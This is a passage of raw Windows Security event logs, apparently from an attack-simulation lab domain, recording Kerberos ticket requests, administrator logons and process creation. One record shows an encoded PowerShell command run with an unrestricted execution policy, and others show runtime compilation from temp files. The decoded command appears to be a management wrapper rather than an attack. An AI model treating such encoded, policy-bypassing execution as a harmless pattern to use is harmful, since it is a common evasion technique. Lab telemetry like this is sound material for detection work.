PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252904 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252903 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17F59E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252902 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17F59E - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252901 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17F59E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {33719BB1-66F7-C551-6AF6-7CD277AE7968} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252900 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {33719BB1-66F7-C551-6AF6-7CD277AE7968} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252899 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {33719BB1-66F7-C551-6AF6-7CD277AE7968} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252898 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252897 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17F531 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252896 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17ED31 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252895 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17E212 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252894 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17F531 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252893 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17F531 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {33719BB1-66F7-C551-6AF6-7CD277AE7968} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252892 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {33719BB1-66F7-C551-6AF6-7CD277AE7968} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252891 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {33719BB1-66F7-C551-6AF6-7CD277AE7968} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252890 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252889 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17D420 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf30 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1384 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES963C.tmp" "c:\Users\Administrator\AppData\Local\Temp\pfprkxqs\CSC7A0F00D86024379A93DBE90D65B2738.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252888 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17D420 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1384 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x12a0 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\pfprkxqs\pfprkxqs.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252973 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x182DF6 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252972 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x182DF6 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {3CE26EC9-ACBC-8F5A-2E68-B4FD2BE618C9} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252971 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {3CE26EC9-ACBC-8F5A-2E68-B4FD2BE618C9} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252970 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {3CE26EC9-ACBC-8F5A-2E68-B4FD2BE618C9} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252969 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252968 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x181515 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1034 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x121c - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252967 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x181515 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x121c - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252966 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x181BB6 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252965 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x181BB6 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {3CE26EC9-ACBC-8F5A-2E68-B4FD2BE618C9} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication 